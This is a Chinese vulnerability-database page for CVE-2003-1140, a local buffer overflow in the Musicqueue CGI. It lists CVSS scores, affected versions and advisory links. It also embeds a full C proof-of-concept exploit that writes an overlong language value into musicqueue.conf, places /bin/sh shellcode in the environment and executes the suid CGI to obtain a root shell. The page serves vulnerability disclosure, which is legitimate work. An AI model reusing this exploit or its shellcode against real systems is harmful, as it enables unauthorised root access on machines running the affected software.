CVE-2003-1140
CVSS10.0
发布时间 :2003-10-27 00:00:00
修订时间 :2008-09-05 16:36:09
NMCOE    

[原文]Buffer overflow in Musicqueue 1.2.0 allows local users to execute arbitrary code via a long language variable in the configuration file.


[CNNVD]Musicqueue 多个缓冲区溢出漏洞(CNNVD-200310-082)

        Musicqueue 1.2.0版本存在缓冲区溢出漏洞。本地用户可以通过配置文件中的语言变量执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:musicqueue:musicqueue:0.9
cpe:/a:musicqueue:musicqueue:0.9.1
cpe:/a:musicqueue:musicqueue:1.1.1
cpe:/a:musicqueue:musicqueue:0.9.2
cpe:/a:musicqueue:musicqueue:1.0
cpe:/a:musicqueue:musicqueue:1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1140
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1140
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200310-082
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/13521
(VENDOR_ADVISORY)  XF  musicqueue-getconf-bo(13521)
http://www.securityfocus.com/bid/8903
(VENDOR_ADVISORY)  BID  8903
http://www.securityfocus.com/archive/1/342476
(VENDOR_ADVISORY)  BUGTRAQ  20031027 Musicqueue multiple local vulnerabilities
http://securitytracker.com/id?1008014
(VENDOR_ADVISORY)  SECTRACK  1008014
http://secunia.com/advisories/10104
(VENDOR_ADVISORY)  SECUNIA  10104
http://archives.neohapsis.com/archives/vulnwatch/2003-q4/0021.html
(UNKNOWN)  VULNWATCH  20031027 Musicqueue multiple local vulnerabilities

- 漏洞信息

Musicqueue 多个缓冲区溢出漏洞
危急 缓冲区溢出
2003-10-27 00:00:00 2005-10-20 00:00:00
本地  
        Musicqueue 1.2.0版本存在缓冲区溢出漏洞。本地用户可以通过配置文件中的语言变量执行任意代码。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (23303)

Musicqueue 0.9/1.0/1.1 Multiple Buffer Overrun Vulnerabilities (EDBID:23303)
linux local
2003-10-27 Verified
0 dong-h0un U
N/A [点击下载]
source: http://www.securityfocus.com/bid/8903/info

Multiple buffer overrun vulnerabilities have been discovered in Musicqueue. Both issues stem from the lack of bounds checking when passing user-supplied input to the sprintf() libc function. As a result, it may be possible for an attacker to exploit arbitrary code with the privileges the affected application, possibly installed suid or sgid.

/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
**
** This is general overflow exploit.
**
** --
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04# 
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>

int main(int argc,char *argv[])
{
	FILE *fp;
	int r_rn=0;
	char *ent_r[3],atck_d[0x82];
	char shellcode[]=
		"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
		"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
		"1\300\260F1\3331\311\315\2001\300\260G1\3331"
		"\311\315\200\353\037^\211v\b1\300\210F\007"
		"\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
		"\333\211\330@\315\200\350\334\377\377\377"
		"/bin/sh";

	unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
	memset((char *)atck_d,0,sizeof(atck_d));

	fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC exploit.\n\n");

	if(argc<2)
	{
		fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
		exit(-1);
	}
	else sh_addr-=(strlen(argv[1]));

	atck_d[r_rn++]=0x82;
	for(;r_rn<44;r_rn+=4)
	{
		*(long *)&atck_d[r_rn]=sh_addr;
	}

	if((fp=fopen("musicqueue.conf","w"))==NULL)
	{
	fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
	return(-1);
	}
	fprintf(fp,"language = %s\n",atck_d);
	fclose(fp);

	ent_r[0]="REQUEST_METHOD=GET";
	ent_r[1]=(shellcode);
	ent_r[2]=(NULL);
	execle(argv[1],"musicqueue.cgi",NULL,ent_r);
}
		

- 漏洞信息

2735
Musicqueue Configuration File Language Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2003-10-30 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站